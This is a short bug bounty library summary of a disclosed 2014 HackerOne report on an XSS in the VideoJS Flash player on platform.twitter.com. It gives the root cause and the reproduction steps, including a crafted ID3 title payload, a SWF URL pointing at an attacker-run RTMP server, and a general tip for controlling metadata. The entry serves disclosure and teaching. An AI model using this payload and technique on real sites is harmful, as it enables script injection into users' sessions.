# XSS platform.twitter.com | video-js metadata

VideoJS SWF on platform.twitter.com failed to escape ID3/RTMP metadata before passing it to ExternalInterface JavaScript, enabling XSS via a crafted mp3 title.

- Payout: hidden
- Severity: high
- Program: X / xAI
- Found by: batram
- Disclosed: 2014-11-17
- Write-up quality: 7/10
- Original: https://hackerone.com/reports/29360
- Library page: https://bugbountylibrary.com/r/h1%3A29360
- Tags: area:web domain:web impact:integrity kind:bounty platform:hackerone sev:high technique:source-review vuln:xss

**Target:** video-js SWF player (Flash) on platform.twitter.com
**Root cause:** VideoJS passes server-supplied metadata (ID3 tags, servername) into JavaScript via ExternalInterface without escaping, so a crafted tag value breaks out of the JS string context.
**Steps:**
1. Host an RTMP server (e.g. rtmpd) serving an mp3 whose ID3 Title is `"})})))}finally{confirm(/moin/)}//`
2. Load `https://platform.twitter.com/video/video-js.1e43b81a2f30220a16fd493aaf072451.swf?eventProxyFunction=console.log&autoplay=true&rtmpStream=mp3:haha&rtmpConnection=rtmp://<attacker-rtmp>/`
3. SWF fetches metadata over rtmp and injects the Title into the ExternalInterface JS call, executing `confirm(/moin/)`
**How found:** Noted VideoJS doesn't escape metadata passed to ExternalInterface; since cross-origin mp3 policy files aren't loaded, pivoted to rtmp to control metadata, then crafted an ID3 Title to break the JS string.
**Exploitation:** Attacker controls an RTMP server and serves a malicious mp3; victim loads the crafted SWF URL on platform.twitter.com, the unescaped ID3 Title breaks out of the __flash__toXML string and runs arbitrary JS in the twitter.com origin.
**Insight:** Flash ExternalInterface bridges that stringify server-controlled metadata (ID3 tags, RTMP servername) are a classic XSS vector; when cross-origin policy blocks http mp3 metadata, switch to rtmp to control the metadata source.

